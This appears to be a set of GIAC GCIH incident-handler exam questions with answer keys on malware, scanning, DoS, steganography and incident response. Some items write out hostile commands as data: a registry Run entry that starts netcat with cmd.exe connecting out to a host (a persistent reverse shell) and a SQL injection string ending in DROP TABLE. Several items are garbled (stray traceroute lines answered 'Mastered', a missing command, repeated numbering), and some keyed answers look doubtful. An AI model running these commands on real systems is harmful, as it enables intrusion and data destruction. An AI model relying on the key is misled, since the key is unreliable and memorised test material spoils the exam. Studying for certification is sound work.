# GIAC

## Exam Questions GCIH

GIAC Certified Incident Handler

**NEW QUESTION 1**
Adam, a novice computer user, works primarily from home as a medical professional. He just bought a brand new Dual Core Pentium computer with over 3 GB of RAM. After about two months of working on his new computer, he notices that it is not running nearly as fast as it used to. Adam uses antivirus software, anti-spyware software, and keeps the computer up-to-date with Microsoft patches. After another month of working on the computer, Adam finds that his computer is even more noticeably slow. He also notices a window or two pop-up on his screen, but they quickly disappear. He has seen these windows show up, even when he has not been on the Internet. Adam notices that his computer only has about 10 GB of free space available. Since his hard drive is a 200 GB hard drive, Adam thinks this is very odd.
Which of the following is the mostly likely the cause of the problem?

A. Computer is infected with the stealth kernel level rootkit.
B. Computer is infected with stealth virus.
C. Computer is infected with the Stealth Trojan Virus.
D. Computer is infected with the Self-Replication Worm.

**Answer:** A

**NEW QUESTION 2**
Which of the following is a technique of using a modem to automatically scan a list of telephone numbers, usually dialing every number in a local area code to search for computers, Bulletin board systems, and fax machines?

A. Demon dialing
B. Warkitting
C. War driving
D. Wardialing

**Answer:** D

**NEW QUESTION 3**
Which of the following types of attacks is the result of vulnerabilities in a program due to poor programming techniques?

A. Evasion attack
B. Denial-of-Service (DoS) attack
C. Ping of death attack
D. Buffer overflow attack

**Answer:** D

**NEW QUESTION 4**
Which of the following applications is an example of a data-sending Trojan?

A. SubSeven
B. Senna Spy Generator
C. Firekiller 2000
D. eBlaster

**Answer:** D

**NEW QUESTION 5**
Which of the following statements are true about worms?
Each correct answer represents a complete solution. Choose all that apply.

A. Worms cause harm to the network by consuming bandwidth, whereas viruses almost always corrupt or modify files on a targeted computer.
B. Worms can exist inside files such as Word or Excel documents.
C. One feature of worms is keystroke logging.
D. Worms replicate themselves from one system to another without using a host file.

**Answer:** ABD

**NEW QUESTION 6**
Buffer overflows are one of the major errors used for exploitation on the Internet today. A buffer overflow occurs when a particular operation/function writes more data into a variable than the variable was designed to hold.
Which of the following are the two popular types of buffer overflows?
Each correct answer represents a complete solution. Choose two.

A. Dynamic buffer overflows
B. Stack based buffer overflow
C. Heap based buffer overflow
D. Static buffer overflows

**Answer:** BC

**NEW QUESTION 7**
You have configured a virtualized Internet browser on your Windows XP professional computer. Using the virtualized Internet browser, you can protect your operating system from which of the following?

A. Brute force attack
B. Mail bombing
C. Distributed denial of service (DDOS) attack
D. Malware installation from unknown Web sites

**Answer:** D

**NEW QUESTION 8**
You see the career section of a company's Web site and analyze the job profile requirements. You conclude that the company wants professionals who have a sharp knowledge of Windows server 2003 and Windows active directory installation and placement. Which of the following steps are you using to perform hacking?

A. Scanning
B. Covering tracks
C. Reconnaissance
D. Gaining access

**Answer:** C

**NEW QUESTION 9**
Which of the following statements are true about netcat?
Each correct answer represents a complete solution. Choose all that apply.

A. It provides special tunneling, such as UDP to TCP, with the possibility of specifying all network parameters.
B. It can be used as a file transfer solution.
C. It provides outbound and inbound connections for TCP and UDP ports.
D. The nc -z command can be used to redirect stdin/stdout from a program.

**Answer:** ABC

**NEW QUESTION 10**
Which of the following tools combines two programs, and also encrypts the resulting package in an attempt to foil antivirus programs?

A. Trojan Man
B. EliteWrap
C. Tiny
D. NetBus

**Answer:** A

**NEW QUESTION 10**
You run the following command on the remote Windows server 2003 computer:

```
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
```

What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

A. You want to perform banner grabbing.
B. You want to set the Netcat to execute command any time.
C. You want to put Netcat in the stealth mode.
D. You want to add the Netcat command to the Windows registry.

**Answer:** BCD

**NEW QUESTION 13**
Which of the following functions can be used as a countermeasure to a Shell Injection attack?
Each correct answer represents a complete solution. Choose all that apply.

A. escapeshellarg()
B. mysql_real_escape_string()
C. regenerateid()
D. escapeshellcmd()

**Answer:** AD

**NEW QUESTION 17**
Which of the following Nmap commands is used to perform a UDP port scan?

A. nmap -sY
B. nmap -sS
C. nmap -sN
D. nmap -sU

**Answer:** D

**NEW QUESTION 22**

Many organizations create network maps of their network system to visualize the network and understand the relationship between the end devices and the transport layer that provide services.
Which of the following are the techniques used for network mapping by large organizations?
Each correct answer represents a complete solution. Choose three.

A. Packet crafting
B. Route analytics
C. SNMP-based approaches
D. Active Probing

**Answer:** BCD

**NEW QUESTION 26**
Which of the following functions can you use to mitigate a command injection attack?
Each correct answer represents a part of the solution. Choose all that apply.

A. escapeshellarg()
B. escapeshellcmd()
C. htmlentities()
D. strip_tags()

**Answer:** AB

**NEW QUESTION 27**
Which of the following is a computer worm that caused a denial of service on some Internet hosts and dramatically slowed down general Internet traffic?

A. Klez
B. Code red
C. SQL Slammer
D. Beast

**Answer:** C

**NEW QUESTION 31**
Which of the following is designed to protect the Internet resolvers (clients) from forged DNS data created by DNS cache poisoning?

A. Stub resolver
B. BINDER
C. Split-horizon DNS
D. Domain Name System Extension (DNSSEC)

**Answer:** D

**NEW QUESTION 32**
You work as a System Engineer for Cyber World Inc. Your company has a single Active Directory domain. All servers in the domain run Windows Server 2008. The Microsoft Hyper-V server role has been installed on one of the servers, namely uC1. uC1 hosts twelve virtual machines. You have been given the task to configure the Shutdown option for uC1, so that each virtual machine shuts down before the main Hyper-V server shuts down. Which of the following actions will you perform to accomplish the task?

A. Enable the Shut Down the Guest Operating System option in the Automatic Stop Action Properties on each virtual machine.
B. Manually shut down each of the guest operating systems before the server shuts down.
C. Create a batch file to shut down the guest operating system before the server shuts down.
D. Create a logon script to shut down the guest operating system before the server shuts down.

**Answer:** A

**NEW QUESTION 36**
You run the following bash script in Linux:

```
for i in 'cat hostlist.txt' ;do
nc -q 2 -v $i 80 < request.txt done
```

Where, hostlist.txt file contains the list of IP addresses and request.txt is the output file. Which of the following tasks do you want to perform by running this script?

A. You want to put nmap in the listen mode to the hosts given in the IP address list.
B. You want to perform banner grabbing to the hosts given in the IP address list.
C. You want to perform port scanning to the hosts given in the IP address list.
D. You want to transfer file hostlist.txt to the hosts given in the IP address list.

**Answer:** B

**NEW QUESTION 39**
The Klez worm is a mass-mailing worm that exploits a vulnerability to open an executable attachment even in Microsoft Outlook's preview pane. The Klez worm gathers email addresses from the entries of the default Windows Address Book (WAB). Which of the following registry values can be used to identify this worm?

A. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
B. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
C. HKEY_CURRENT_USER\Software\Microsoft\WAB\WAB4\Wab File Name = "file and pathname of the WAB file"
D. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

**Answer:** C

**NEW QUESTION 41**
Which of the following DoS attacks affects mostly Windows computers by sending corrupt UDP packets?

A. Fraggle
B. Ping flood
C. Bonk
D. Smurf

**Answer:** C

**NEW QUESTION 45**
Which of the following tools can be used for stress testing of a Web server?
Each correct answer represents a complete solution. Choose two.

A. Internet bots
B. Scripts
C. Anti-virus software
D. Spyware

**Answer:** AB

**NEW QUESTION 50**
Which of the following commands can be used for port scanning?

A. nc -t
B. nc -z
C. nc -w
D. nc -g

**Answer:** B

**NEW QUESTION 51**
Which of the following tools can be used for steganography?
Each correct answer represents a complete solution. Choose all that apply.

A. Image hide
B. Stegbreak
C. Snow.exe
D. Anti-x

**Answer:** AC

**NEW QUESTION 53**
Which of the following Denial-of-Service (DoS) attacks employ IP fragmentation mechanism?
Each correct answer represents a complete solution. Choose two.

A. Land attack
B. SYN flood attack
C. Teardrop attack
D. Ping of Death attack

**Answer:** CD

**NEW QUESTION 56**
Adam works as an Incident Handler for Umbrella Inc. His recent actions towards the incident are not up to the standard norms of the company. He always forgets some steps and procedures while handling responses as they are very hectic to perform.
Which of the following steps should Adam take to overcome this problem with the least administrative effort?

A. Create incident manual read it every time incident occurs.
B. Appoint someone else to check the procedures.
C. Create incident checklists.
D. Create new sub-team to keep check.

**Answer:** C

**NEW QUESTION 58**
You work as a Penetration Tester for the Infosec Inc. Your company takes the projects of security auditing. Recently, your company has assigned you a project to test the security of the we- aresecure.com Web site. For this, you want to perform the idle scan so that you can get the ports open in the we-are-secure.com server. You are using Hping tool to perform the idle scan by using a zombie computer. While scanning, you notice that every IPID is being incremented on every query, regardless whether the ports are open or close. Sometimes, IPID is being incremented by more than one value.
What may be the reason?

A. The firewall is blocking the scanning process.

B. The zombie computer is not connected to the we-are-secure.com Web server.
C. The zombie computer is the system interacting with some other system besides your computer.
D. Hping does not perform idle scanning.

**Answer:** C

**NEW QUESTION 60**
Your network is being flooded by ICMP packets. When you trace them down they come from multiple different IP addresses. What kind of attack is this?

A. Syn flood
B. Ping storm
C. Smurf attack
D. DDOS

**Answer:** D

**NEW QUESTION 61**
108 ms 14 0.so-4-1-0.TL1.ATL5.ALTER.NET (152.63.10.129) 37.894 ms 33.244 ms

A. Mastered
B. Not Mastered

**Answer:** A

**NEW QUESTION 64**
910 ms 15 0.so-7-0-0.XL1.MIA4.ALTER.NET (152.63.86.189) 51.165 ms 49.935 ms

A. Mastered
B. Not Mastered

**Answer:** A

**NEW QUESTION 68**
Reducing noise by adjusting color and averaging pixel value.

A. Mastered
B. Not Mastered

**Answer:** A

**NEW QUESTION 70**
Which of the following are open-source vulnerability scanners?

A. Nessus
B. Hackbot
C. NetRecon
D. Nikto

**Answer:** ABD

**NEW QUESTION 73**
Which of the following statements is true about the difference between worms and Trojan horses?

A. Trojan horses are a form of malicious codes while worms are not.
B. Trojan horses are harmful to computers while worms are not.
C. Worms can be distributed through emails while Trojan horses cannot.
D. Worms replicate themselves while Trojan horses do not.

**Answer:** D

**NEW QUESTION 78**
Which of the following is executed when a predetermined event occurs?

A. Trojan horse
B. Logic bomb
C. MAC
D. Worm

**Answer:** B

**NEW QUESTION 83**
In which of the following attacks does an attacker create the IP packets with a forged (spoofed) source IP address with the purpose of concealing the identity of the sender or impersonating another computing system?

A. Rainbow attack
B. IP address spoofing
C. Cross-site request forgery
D. Polymorphic shell code attack

**Answer:** B

**NEW QUESTION 84**
Which of the following viruses/worms uses the buffer overflow attack?

A. Chernobyl (CIH) virus
B. Nimda virus
C. Klez worm
D. Code red worm

**Answer:** D

**NEW QUESTION 89**
Which of the following functions in c/c++ can be the cause of buffer overflow?
Each correct answer represents a complete solution. Choose two.

A. printf()
B. strcat()
C. strcpy()
D. strlength()

**Answer:** BC

**NEW QUESTION 93**
You work as a System Administrator in SunSoft Inc. You are running a virtual machine on Windows Server 2003. The virtual machine is protected by DPM. Now, you want to move the virtual machine to another host. Which of the following steps can you use to accomplish the task?
Each correct answer represents a part of the solution. Choose all that apply.

A. Remove the original virtual machine from the old server and stop the protection for the original virtual machine.
B. Run consistency check.
C. Add the copied virtual machine to a protection group.
D. Copy the virtual machine to the new server.

**Answer:** ACD

**NEW QUESTION 96**
In the DNS Zone transfer enumeration, an attacker attempts to retrieve a copy of the entire zone file for a domain from a DNS server. The information provided by the DNS zone can help an attacker gather user names, passwords, and other valuable information. To attempt a zone transfer, an attacker must be connected to a DNS server that is the authoritative server for that zone. Besides this, an attacker can launch a Denial of Service attack against the zone's DNS servers by flooding them with a lot of requests. Which of the following tools can an attacker use to perform a DNS zone transfer?
Each correct answer represents a complete solution. Choose all that apply.

A. Host
B. Dig
C. DSniff
D. NSLookup

**Answer:** ABD

**NEW QUESTION 97**
Which of the following penetration testing phases involves reconnaissance or data gathering?

A. Attack phase
B. Pre-attack phase
C. Post-attack phase
D. Out-attack phase

**Answer:** B

**NEW QUESTION 99**
CORRECT TEXT
Fill in the blank with the appropriate name of the rootkit.
A _______ rootkit uses device or platform firmware to create a persistent malware image.

A.

**Answer:** firmware

**NEW QUESTION 101**
Which of the following tools uses common UNIX/Linux tools like the strings and grep commands to search core system programs for signatures of the rootkits?

A. rkhunter
B. OSSEC
C. chkrootkit
D. Blue Pill

**Answer:** C

**NEW QUESTION 102**
Which of the following statements are true about Dsniff?
Each correct answer represents a complete solution. Choose two.

A. It contains Trojans.
B. It is a virus.
C. It is antivirus.
D. It is a collection of various hacking tools.

**Answer:** AD

**NEW QUESTION 107**
You work as a Security Administrator for Net Perfect Inc. The company has a Windows-based network. You want to use a scanning technique which works as a reconnaissance attack. The technique should direct to a specific host or network to determine the services that the host offers.
Which of the following scanning techniques can you use to accomplish the task?

A. IDLE scan
B. Nmap
C. SYN scan
D. Host port scan

**Answer:** D

**NEW QUESTION 109**
Mark works as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company uses Check Point SmartDefense to provide security to the network. Mark uses SmartDefense on the HTTP servers of the company to fix the limitation for the maximum response header length.
Which of the following attacks can be blocked by defining this limitation?

A. HTR Overflow worms and mutations
B. Ramen worm attack
C. Melissa virus attack
D. Shoulder surfing attack

**Answer:** A

**NEW QUESTION 111**
Victor works as a professional Ethical Hacker for SecureEnet Inc. He wants to scan the wireless network of the company. He uses a tool that is a free open-source utility for network exploration. The tool uses raw IP packets to determine the following:
What ports are open on our network systems.
What hosts are available on the network.
Identify unauthorized wireless access points.
What services (application name and version) those hosts are offering.
What operating systems (and OS versions) they are running.
What type of packet filters/firewalls are in use.
Which of the following tools is Victor using?

A. Nessus
B. Kismet
C. Nmap
D. Sniffer

**Answer:** C

**NEW QUESTION 114**
What is the purpose of configuring a password protected screen saver on a computer?

A. For preventing unauthorized access to a system.
B. For preventing a system from a Denial of Service (DoS) attack.
C. For preventing a system from a social engineering attack.
D. For preventing a system from a back door attack.

**Answer:** A

**NEW QUESTION 115**
Rick works as a Computer Forensic Investigator for BlueWells Inc. He has been informed that some confidential information is being leaked out by an employee of the company. Rick suspects that someone is sending the information through email. He checks the emails sent by some employees to other networks. Rick finds out that Sam, an employee of the Sales department, is continuously sending text files that contain special symbols, graphics, and signs. Rick suspects that Sam is using the Steganography technique to send data in a disguised form. Which of the following techniques is Sam using?
Each correct answer represents a part of the solution. Choose all that apply.

A. Linguistic steganography
B. Perceptual masking
C. Technical steganography
D. Text Semagrams

**Answer:** AD

**NEW QUESTION 118**
You are the Administrator for a corporate network. You are concerned about denial of service attacks.
Which of the following measures would be most helpful in defending against a Denial-of-Service (DoS) attack?

A. Implement network based antivirus.
B. Place a honey pot in the DMZ.
C. Shorten the timeout for connection attempts.
D. Implement a strong password policy.

**Answer:** C

**NEW QUESTION 119**
Which of the following is a technique for creating Internet maps?
Each correct answer represents a complete solution. Choose two.

A. Active Probing
B. AS PATH Inference
C. Object Relational Mapping
D. Network Quota

**Answer:** AB

**NEW QUESTION 120**
In which of the following attacks does the attacker gather information to perform an access attack?

A. Land attack
B. Reconnaissance attack
C. Vulnerability attack
D. DoS attack

**Answer:** B

**NEW QUESTION 125**
Which of the following can be used to perform session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

A. Cross-site scripting
B. Session fixation
C. ARP spoofing
D. Session sidejacking

**Answer:** ABD

**NEW QUESTION 128**
Which of the following services CANNOT be performed by the nmap utility?
Each correct answer represents a complete solution. Choose all that apply.

A. Passive OS fingerprinting
B. Sniffing
C. Active OS fingerprinting
D. Port scanning

**Answer:** AB

**NEW QUESTION 129**
You work as a Network Administrator in the SecureTech Inc. The SecureTech Inc. is using Linux- based server. Recently, you have updated the password policy of the company in which the server will disable passwords after four trials. What type of attack do you want to stop by enabling this policy?

A. Brute force
B. Replay
C. XSS
D. Cookie poisoning

**Answer:** A

**NEW QUESTION 132**
Which of the following are countermeasures to prevent unauthorized database access attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Session encryption
B. Removing all stored procedures
C. Applying strong firewall rules
D. Input sanitization

**Answer:** ABCD

**NEW QUESTION 135**
In which of the following attacks does an attacker spoof the source address in IP packets that are sent to the victim?

A. Dos
B. DDoS
C. Backscatter
D. SQL injection

**Answer:** C

**NEW QUESTION 139**
In which of the following steps of the incident handling processes does the Incident Handler make sure that all business processes and functions are back to normal and then also wants to monitor the system or processes to ensure that the system is not compromised again?

A. Eradication
B. Lesson Learned
C. Recovery
D. Containment

**Answer:** C

**NEW QUESTION 143**
Which of the following tools is used to attack the Digital Watermarking?

A. Active Attacks
B. 2Mosaic
C. Steg-Only Attack
D. Gifshuffle

**Answer:** B

**NEW QUESTION 146**
You are hired as a Database Administrator for Jennifer Shopping Cart Inc. You monitor the server health through the System Monitor and found that there is a sudden increase in the number of logins.
A case study is provided in the exhibit. Which of the following types of attack has occurred? (Click the Exhibit button on the toolbar to see the case study.)

A. Injection
B. Virus
C. Worm
D. Denial-of-service

**Answer:** D

**NEW QUESTION 148**
You work as a Network Penetration tester in the Secure Inc. Your company takes the projects to test the security of various companies. Recently, Secure Inc. has assigned you a project to test the security of a Web site. You go to the Web site login page and you run the following SQL query:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'attacker@somehwere.com'; DROP TABLE members; --'
What task will the above SQL query perform?

A. Deletes the database in which members table resides.
B. Deletes the rows of members table where email id is 'attacker@somehwere.com' given.
C. Performs the XSS attacks.
D. Deletes the entire members table.

**Answer:** D

**NEW QUESTION 153**
Which of the following tools will you use to prevent from session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

A. OpenSSH
B. Rlogin
C. Telnet
D. SSL

**Answer:** AD

**NEW QUESTION 158**
Which of the following reads and writes data across network connections by using the TCP/IP protocol?

A. Fpipe
B. NSLOOKUP
C. Netcat
D. 2Mosaic

**Answer:** C

**NEW QUESTION 159**
Which of the following terms describes an attempt to transfer DNS zone data?

A. Reconnaissance
B. Encapsulation
C. Dumpster diving
D. Spam

**Answer:** A

**NEW QUESTION 161**
John visits an online shop that stores the IDs and prices of the items to buy in a cookie. After selecting the items that he wants to buy, the attacker changes the price of the item to 1.
Original cookie values:
ItemID1=2
ItemPrice1=900
ItemID2=1
ItemPrice2=200
Modified cookie values:
ItemID1=2
ItemPrice1=1
ItemID2=1
ItemPrice2=1
Now, he clicks the Buy button, and the prices are sent to the server that calculates the total price.
Which of the following hacking techniques is John performing?

A. Computer-based social engineering
B. Man-in-the-middle attack
C. Cross site scripting
D. Cookie poisoning

**Answer:** D

**NEW QUESTION 164**
You send SYN packets with the exact TTL of the target system starting at port 1 and going up to port 1024 using hping2 utility. This attack is known as __________.

A. Port scanning
B. Cloaking
C. Firewalking
D. Spoofing

**Answer:** C

**NEW QUESTION 165**
Adam works as a Security Administrator for the Umbrella Inc. A project has been assigned to him to strengthen the security policies of the company, including its password policies. However, due to some old applications, Adam is only able to enforce a password group policy in Active Directory with a minimum of 10 characters. He informed the employees of the company, that the new password policy requires that everyone must have complex passwords with at least 14 characters. Adam wants to ensure that everyone is using complex passwords that meet the new security policy requirements. He logged on to one of the network's domain controllers and runs the following command:

Which of the following actions will this command take?

A. Dumps the SAM password hashes to pwd.txt
B. Dumps the SAM password file to pwd.txt
C. Dumps the Active Directory password hashes to pwd.txt
D. The password history file is transferred to pwd.txt

**Answer:** A

**NEW QUESTION 166**
Which of the following malicious code can have more than one type of trigger, multiple task capabilities, and can replicate itself in more than one manner?

A. Macro virus
B. Blended threat
C. Trojan
D. Boot sector virus

**Answer:** B

**NEW QUESTION 168**
Which of the following can be used as a countermeasure against the SQL injection attack?
Each correct answer represents a complete solution. Choose two.

A. mysql_real_escape_string()
B. session_regenerate_id()
C. mysql_escape_string()
D. Prepared statement

**Answer:** AD

**NEW QUESTION 169**
Adam works as a Penetration Tester for Umbrella Inc. A project has been assigned to him check the security of wireless network of the company. He re-injects a captured wireless packet back onto the network. He does this hundreds of times within a second. The packet is correctly encrypted and Adam assumes it is an ARP request packet. The wireless host responds with a stream of responses, all individually encrypted with different IVs.
Which of the following types of attack is Adam performing?

A. Replay attack
B. MAC Spoofing attack
C. Caffe Latte attack
D. Network injection attack

**Answer:** A

**NEW QUESTION 171**
A user is sending a large number of protocol packets to a network in order to saturate its resources and to disrupt connections to prevent communications between services. Which type of attack is this?

A. Vulnerability attack
B. Impersonation attack
C. Social Engineering attack
D. Denial-of-Service attack

**Answer:** D

**NEW QUESTION 172**
Which of the following tools can be used for network sniffing as well as for intercepting conversations through session hijacking?

A. Ethercap
B. Tripwire
C. IPChains
D. Hunt

**Answer:** D

**NEW QUESTION 177**
You are the Security Consultant and have been hired to check security for a client's network. Your client has stated that he has many concerns but the most critical is the security of Web applications on their Web server. What should be your highest priority then in checking his network?

A. Setting up IDS
B. Port scanning
C. Vulnerability scanning
D. Setting up a honey pot

**Answer:** C

**NEW QUESTION 181**
Which of the following tasks can be performed by using netcat utility?
Each correct answer represents a complete solution. Choose all that apply.

A. Checking file integrity
B. Creating a Backdoor
C. Firewall testing
D. Port scanning and service identification

**Answer:** BCD

**NEW QUESTION 185**
Which of the following programs is used for bypassing normal authentication for securing remote access to a computer?

A. Backdoor
B. Worm
C. Adware

D. Spyware

**Answer:** A

**NEW QUESTION 190**
John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He installs a rootkit on the Linux server of the We-are-secure network. Which of the following statements are true about rootkits?
Each correct answer represents a complete solution. Choose all that apply.

A. They allow an attacker to conduct a buffer overflow.
B. They allow an attacker to set a Trojan in the operating system and thus open a backdoor for anytime access.
C. They allow an attacker to replace utility programs that can be used to detect the attacker's activity.
D. They allow an attacker to run packet sniffers secretly to capture passwords.

**Answer:** BCD

**NEW QUESTION 194**
Which of the following techniques does an attacker use to sniff data frames on a local area network and modify the traffic?

A. MAC spoofing
B. IP address spoofing
C. Email spoofing
D. ARP spoofing

**Answer:** D

**NEW QUESTION 195**
You have forgotten your password of an online shop. The web application of that online shop asks you to enter your email so that they can send you a new password. You enter your email
you@gmail.com
And press the submit button.
The Web application displays the server error. What can be the reason of the error?

A. You have entered any special character in email.
B. Email entered is not valid.
C. The remote server is down.
D. Your internet connection is slow.

**Answer:** A

**NEW QUESTION 200**
Session splicing is an IDS evasion technique in which an attacker delivers data in multiple small- sized packets to the target computer. Hence, it becomes very difficult for an IDS to detect the attack signatures of such attacks. Which of the following tools can be used to perform session splicing attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Whisker
B. Fragroute
C. Nessus
D. Y.A.T.

**Answer:** AC

**NEW QUESTION 203**
You work as a Network Administrator for Perfect Solutions Inc. The company has a Linux-based network. You are working as a root user on the Linux operating system. Your company is facing an IP spoofing attack.
Which of the following tools will you use to get an alert saying that an upcoming IP packet is being spoofed?

A. Despoof
B. Dsniff
C. ethereal
D. Neotrace

**Answer:** A

**NEW QUESTION 208**
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company uses Check Point SmartDefense to provide security to the network of the company. You use SmartDefense on the HTTP servers of the company to fix the limitation for the maximum number of response headers allowed.
Which of the following attacks will be blocked by defining this limitation?
Each correct answer represents a complete solution. Choose all that apply.

A. Land attack
B. Code red worm
C. Backdoor attack
D. User-defined worm

**Answer:** BD

**NEW QUESTION 212**
Which of the following attacks involves multiple compromised systems to attack a single target?

A. Brute force attack
B. Replay attack
C. Dictionary attack
D. DDoS attack

**Answer:** D

**NEW QUESTION 215**
US Garments wants all encrypted data communication between corporate office and remote location.
They want to achieve following results:
l Authentication of users
l Anti-replay
l Anti-spoofing
l IP packet encryption
They implemented IPSec using Authentication Headers (AHs). Which results does this solution provide? (Click the Exhibit button on the toolbar to see the case study.)
Each correct answer represents a complete solution. Choose all that apply.

A. Anti-replay
B. IP packet encryption
C. Authentication of users
D. Anti-spoofing

**Answer:** AD

**NEW QUESTION 217**
Which of the following types of skills are required in the members of an incident handling team?
Each correct answer represents a complete solution. Choose all that apply.

A. Organizational skills
B. Diplomatic skills
C. Methodical skills
D. Technical skills

**Answer:** ABD

**NEW QUESTION 218**
Victor works as a professional Ethical Hacker for SecureNet Inc. He wants to use Steganographic file system method to encrypt and hide some secret information. Which of the following disk spaces will he use to store this secret information?
Each correct answer represents a complete solution. Choose all that apply.

A. Slack space
B. Hidden partition
C. Dumb space
D. Unused Sectors

**Answer:** ABD

**NEW QUESTION 220**
An Active Attack is a type of steganography attack in which the attacker changes the carrier during the communication process. Which of the following techniques is used for smoothing the transition and controlling contrast on the hard edges, where there is significant color transition?

A. Soften
B. Rotate
C. Sharpen
D. Blur

**Answer:** D

**NEW QUESTION 222**
Which of the following is the most common vulnerability that can affect desktop applications written in native code?

A. SpyWare
B. DDoS attack
C. Malware
D. Buffer overflow

**Answer:** D

**NEW QUESTION 227**
You discover that all available network bandwidth is being used by some unknown service. You discover that UDP packets are being used to connect the echo service on one machine to the chargen service on another machine. What kind of attack is this?

A. Smurf
B. Denial of Service
C. Evil Twin
D. Virus

**Answer:** B

**NEW QUESTION 228**
Alice wants to prove her identity to Bob. Bob requests her password as proof of identity, which Alice dutifully provides (possibly after some transformation like a hash function); meanwhile, Eve is eavesdropping the conversation and keeps the password. After the interchange is over, Eve connects to Bob posing as Alice; when asked for a proof of identity, Eve sends Alice's password read from the last session, which Bob accepts. Which of the following attacks is being used by Eve?

A. Replay
B. Firewalking
C. Session fixation
D. Cross site scripting

**Answer:** A

**NEW QUESTION 230**
You are concerned about rootkits on your network communicating with attackers outside your network. Without using an IDS how can you detect this sort of activity?

A. By examining your domain controller server logs.
B. You cannot, you need an IDS.
C. By examining your firewall logs.
D. By setting up a DMZ.

**Answer:** C

**NEW QUESTION 235**
Adam works as an Incident Handler for Umbrella Inc. He is informed by the senior authorities that the server of the marketing department has been affected by a malicious hacking attack. Supervisors are also claiming that some sensitive data are also stolen.
Adam immediately arrived to the server room of the marketing department and identified the event as an incident. He isolated the infected network from the remaining part of the network and started preparing to image the entire system. He captures volatile data, such as running process, ram, and network connections.
Which of the following steps of the incident handling process is being performed by Adam?

A. Recovery
B. Eradication
C. Identification
D. Containment

**Answer:** D

**NEW QUESTION 237**
Which of the following tools are used as a network traffic monitoring tool in the Linux operating system?
Each correct answer represents a complete solution. Choose all that apply.

A. Netbus
B. IPTraf
C. MRTG
D. Ntop

**Answer:** BCD

**NEW QUESTION 239**
Which of the following statements about buffer overflow are true?
Each correct answer represents a complete solution. Choose two.

A. It is a situation that occurs when a storage device runs out of space.
B. It is a situation that occurs when an application receives more data than it is configured to accept.
C. It can improve application performance.
D. It can terminate an application.

**Answer:** BD

**NEW QUESTION 242**
Victor is a novice Ethical Hacker. He is learning the hacking process, i.e., the steps taken by malicious hackers to perform hacking. Which of the following steps is NOT included in the hacking process?

A. Scanning
B. Preparation
C. gaining access
D. Reconnaissance

**Answer:** B

**NEW QUESTION 245**
Which of the following is used to determine the operating system on the remote computer in a network environment?

A. Spoofing
B. Reconnaissance
C. OS Fingerprinting
D. Social engineering

**Answer:** C

**NEW QUESTION 250**
Adam works as a Security Administrator for Umbrella Technology Inc. He reported a breach in security to his senior members, stating that "security defenses has been breached and exploited for 2 weeks by hackers." The hackers had accessed and downloaded 50,000 addresses containing customer credit cards and passwords. Umbrella Technology was looking to law enforcement officials to protect their intellectual property.
The intruder entered through an employee's home machine, which was connected to Umbrella Technology's corporate VPN network. The application called BEAST Trojan was used in the attack to open a "back door" allowing the hackers undetected access. The security breach was discovered when customers complained about the usage of their credit cards without their knowledge.
The hackers were traced back to Shanghai, China through e-mail address evidence. The credit card information was sent to that same e-mail address. The passwords allowed the hackers to access Umbrella Technology's network from a remote location, posing as employees.
Which of the following actions can Adam perform to prevent such attacks from occurring in future?

A. Allow VPN access but replace the standard authentication with biometric authentication
B. Replace the VPN access with dial-up modem access to the company's network
C. Disable VPN access to all employees of the company from home machines
D. Apply different security policy to make passwords of employees more complex

**Answer:** C

**NEW QUESTION 253**
John works as a Network Security Professional. He is assigned a project to test the security of www.we-are-secure.com. He establishes a connection to a target host running a Web service with netcat and sends a bad html request in order to retrieve information about the service on the host.

Which of the following attacks is John using?

A. Sniffing
B. Eavesdropping
C. War driving
D. Banner grabbing

**Answer:** D

**NEW QUESTION 258**
CORRECT TEXT
Fill in the blank with the appropriate option to complete the statement below.
You want to block all UDP packets coming to the Linux server using the portsentry utility. For this, you have to enable the ______ option in the portsentry configuration file.

A.

**Answer:** BLOCK_UDP

**NEW QUESTION 260**
Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it to chess.exe. The size of chess.exe was 526,895 bytes originally, and after joining this chess file to the Trojan, the file size increased to 651,823 bytes. When he gives you this new game, you install the infected chess.exe file on your computer. He now performs various malicious tasks on your computer remotely. But you suspect that someone has installed a Trojan on your computer and begin to investigate it. When you enter the netstat command in the command prompt, you get the following results:

```
C:\WINDOWS>netstat -an | find "UDP" UDP IP_Address:31337 *:*
```

Now you check the following registry address:

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
```

In the above address, you notice a 'default' key in the 'Name' field having " .exe" value in the corresponding 'Data' field. Which of the following Trojans do you think your friend may have installed on your computer on the basis of the above evidence?

A. Qaz
B. Donald Dick
C. Tini
D. Back Orifice

**Answer:** D

**NEW QUESTION 261**
Which of the following ensures that a party to a dispute cannot deny the authenticity of their signature on a document or the sending of a message that they originated?

A. OS fingerprinting
B. Reconnaissance
C. Non-repudiation

D. Confidentiality

**Answer:** C

**NEW QUESTION 266**
You work as an Incident handler in Mariotrixt.Inc. You have followed the Incident handling process to handle the events and incidents. You identify Denial of Service attack (DOS) from a network linked to your internal enterprise network. Which of the following phases of the Incident handling process should you follow next to handle this incident?

A. Containment
B. Preparation
C. Recovery
D. Identification

**Answer:** A

**NEW QUESTION 269**
Which of the following procedures is designed to enable security personnel to identify, mitigate, and recover from malicious computer incidents, such as unauthorized access to a system or data, denialof-service, or unauthorized changes to system hardware, software, or data?

A. Disaster Recovery Plan
B. Cyber Incident Response Plan
C. Crisis Communication Plan
D. Occupant Emergency Plan

**Answer:** B

**NEW QUESTION 270**
